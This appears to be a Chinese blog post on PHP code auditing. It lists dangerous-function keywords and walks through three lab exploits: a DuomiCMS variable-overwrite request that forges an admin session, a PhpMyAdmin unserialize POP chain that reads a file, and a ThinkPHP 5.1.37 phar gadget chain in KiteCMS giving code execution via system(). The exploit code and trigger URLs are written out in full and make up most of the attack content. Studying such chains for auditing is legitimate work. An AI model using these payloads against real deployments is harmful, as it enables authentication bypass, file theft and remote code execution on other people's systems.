PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

Ethan医生1周前代码审计22

#PHP常见漏洞关键字:

SQL注入:

select insert update mysql_query mysqli等

文件上传:

$_FILES,type="file",上传,move_uploaded_file()等

XSS跨站:

print print_r echo sprintf die var_dump var_export等

文件包含:

include include_once require require_once等

代码执行:

eval assert preg_replace call_user_func call_user_func_array等

命令执行:

system exec shell_exec `` passthru pcntl_exec popen proc_open

变量覆盖:

extract() parse_str() importrequestvariables() $$ 等

反序列化:

serialize() unserialize() __construct __destruct等

其他漏洞:

unlink() file_get_contents() show_source() file() fopen()等


#PHP审计-动态调试-原生变量覆盖-DuomiCMS

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

1、找到一个配置common.php(搜$$)

代码案例解析:$$_GET=>?name=123 $name=123

构造$_SESSION变量:$$_GET=>?_SESSION[duomi_admin_id]=1 $_SESSION[duomi_admin_id]=1

 

2、找一个利用点(后台登录点覆盖session)

login.php->check.admin.php->keepUser()

var $keepUserIDTag = "duomi_admin_id";

var $keepgroupidTag = "duomi_group_id";

var $keepUserNameTag = "duomi_admin_name";

$_SESSION[$this->keepUserIDTag] = $this->userID;

$_SESSION[$this->keepgroupidTag] = $this->groupid;

$_SESSION[$this->keepUserNameTag] = $this->userName;

 

3、动态调试获取保持登录当前的session

断点:login.php->check.admin.php->keepUser()

$this->userName = $_SESSION[$this->keepUserNameTag];

 

4、找一个能将session覆盖的地方(session_start函数调用)

-common.php包含

-session_start函数调用

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

 

 

#PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql

自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

 

1、搜unserialize找入口

/scripts/setup.php

$configuration = unserialize($_POST['configuration']);

 

2、找直接调用魔术方法__wakeup()

libraries/common.lib.php

触发:$_SESSION['PMA_Config']->__wakeup();

libraries/Config.class.php

触发:$this->load($this->getSource());

 

3、跟踪load和getSource实现

getSource:获取变量source

loade:eval执行file_get_contents

 

4、构造pop链发包触发文件读取

<?php

class PMA_Config{

var $source = 'd:/1.txt';

}

$p=new PMA_Config();

echo serialize($p);

?>

触发:

Post:/scripts/setup.php

action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

 

5、动态调试下断点看POP

断点:$configuration = unserialize($_POST['configuration']);

 

 

#PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

 

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

 

3、使用PHPGGC模版生成Phar文件

参考:https://www.cnblogs.com/zzjdbk/p/13030571.html

项目生成模版:

/phpggc-master/gadgetchains/ThinkPHP/RCE/1

调用链:gadgets.php

触发生成:chain.php

 

phar利用条件

phar文件要能够上传到服务器端。

file_exists()fopen()file_get_contents()file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:/、phar等特殊字符没有被过滤。

 

注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

<?php

namespace think\process\pipes {

class Windows

{

private $files;

public function __construct($files)

{

$this->files = array($files);

}

}

}

 

namespace think\model\concern {

trait Conversion

{

protected $append = array("smi1e" => "1");

}

 

trait Attribute

{

private $data;

private $withAttr = array("smi1e" => "system");

 

public function get()

{

$this->data = array("smi1e" => "notepad");

}

}

}

namespace think {

abstract class Model

{

use model\concern\Attribute;

use model\concern\Conversion;

}

}

 

namespace think\model{

use think\Model;

class Pivot extends Model

{

public function __construct()

{

$this->get();

}

}

}

 

namespace {

 

$conver = new think\model\Pivot();

$a = new think\process\pipes\Windows($conver);

 

 

$phar = new Phar('xiaodi.phar');

$phar -> stopBuffering();

$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

$phar -> addFromString('test.txt','test');

$phar -> setMetadata($a);

$phar -> stopBuffering();

}

?>

 

 

 

4、找加载配合文件上传(搜is_dir)

admin/controller/Admin.php

scanFiles scanFilesForTree

 

5、找个上传文件地方后上传xiaodi.phar

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

http://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

标签: PHP

相关文章

PHP框架开发篇&ThinkPHP&版本缺陷&不安全写法&路由访问&利用链

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

PHP框架开发篇&ThinkPHP&反序列化&POP利用链&RCE执行&文件删除

#框架审计总结方向:1、版本不安全写法怎么检测-本地复现版本写法对比-参考官方开发手册写法2、版本自身的漏洞怎么检测-平常多关注此类框架漏洞-配合黑盒工具检测找入口https://github.com...

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

PHP原生开发篇&文件安全&上传监控&功能定位&关键搜索&1day挖掘

快速分析脆弱:1、看文件路径2、看代码里面的变量(可控)3、看变量前后的过滤 文件安全挖掘点:1、脚本文件名2、应用功能点3、操作关键字文件上传,文件下载(读取),文件包含,文件删除等&nb...

PHP框架开发篇&实战ThinkPHP项目&打击微交易&源码获取&扩大战果

背景交代:旨在提高打击违法犯罪能力,请勿用于黑X用途,否则后果自负!模拟实战中如何打击某微盘系统,源码获取再到代审及后续实战检测。 搭建复现:1、目录指向绑定域名2、修改配置导入SQL文件3...

PHP反序列化&原生内置&Exception类&SoapClient类&SimpleXMLElement

#原生自带类参考https://xz.aliyun.com/news/8792https://www.anquanke.com/post/id/264823https://blog.csdn.net/...

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

PHP反序列化&魔术方法&触发条件&POP链构造&变量属性修改&黑白盒角度

1、什么是反序列化操作? - 类型转换- PHP & JavaEE & .NET & Python(见图)序列化:对象转换为数组或字符串等格式反序列化:将数组或字符串等格式转换...

发表评论    

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。